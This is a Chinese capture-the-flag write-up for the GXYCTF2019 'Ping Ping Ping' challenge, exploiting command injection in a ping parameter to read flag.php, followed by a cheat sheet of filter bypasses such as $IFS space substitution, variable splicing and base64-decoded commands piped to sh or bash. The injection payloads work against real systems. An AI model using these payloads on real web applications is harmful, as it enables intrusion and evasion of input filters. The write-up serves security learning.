• [GXYCTF2019]Ping Ping Ping


    0x00

    打开网页

    我们去访问一下/?ip=127.0.0.1,结果得到如下

    发现返回的结果这不是执行了ping命令吗,猜测这里存在命令执行,我们继续执行如下payload:

    /?ip=127.0.0.1|ifconfig
    ## |无论第一个命令是否正确执行都将执行下一个命令
    ## &第一个命令执行失败则不执行第二个命令
    


    果然存在命令执行漏洞,接下来我们运行如下payload:

    /?ip=127.0.0.1|ls
    


    我们惊讶的发现了flag.php,直接去访问一下,结果得到了空白网页,我就知道不会这么简单
    我们还可以通过命令去获取flag.php里面的内容,执行如下payload:

    /?ip=127.0.0.1|cat flag.php
    


    发现空格被过滤了,绕过空格我们可以使用如下payload:

    /?ip=127.0.0.1|cat$IFS$1flag.php
    


    结果发现flag关键字也被过滤了,我们可以通过编码的形式去绕过,执行如下payload:

    /?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bash
    


    太坑了bash也被过滤了,那我们可以使用sh,执行如下payload:

    /?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
    


    这回没有被过滤,但是什么都没返回,突然想起来flag在flag.php中也许是被当作代码注释了,于是查看网站源码

    得到了flag

    0x01

    这里在普通命令执行的基础上主要考查的是绕过
    空格绕过:

    ${IFS}
    - cat${IFS}flag
    - cat${IFS}$1flag
    - cat$IFS$1flag
    
    重定向符<>
    - cat<>flag
    - cat<flag
    
    %09(需要php环境)
    -cat%09flag
    

    黑名单绕过:

    拼接
    a=c;b=at;c=fl;d=ag;$a$b $c$d
    
    base64编码
    - echo "Y2F0IGZsYWc="|base64 -d|bash
    - `echo "Y2F0IGZsYWc="|base64 -d`
    
    单引号、双引号
    c""at fl''ag
    
    反斜线
    cat flag
    
    $1、$2等和$@
    c$1at gh$@twf01.txt
    

    以上所有的绕过方法都是参考如下这位大佬写的文章

    https://www.ghtwf01.cn/index.php/archives/273/
  • 相关阅读:
    五一训练礼包 — B
    五一训练礼包—坐标问题
    单链表
    顺序表
    链表
    基础DP(3)
    基础DP(2)
    基础DP(1)
    分治法
    最小表示法
  • 原文地址:https://www.cnblogs.com/Wuser/p/13512087.html
Copyright © 2020-2023  润新知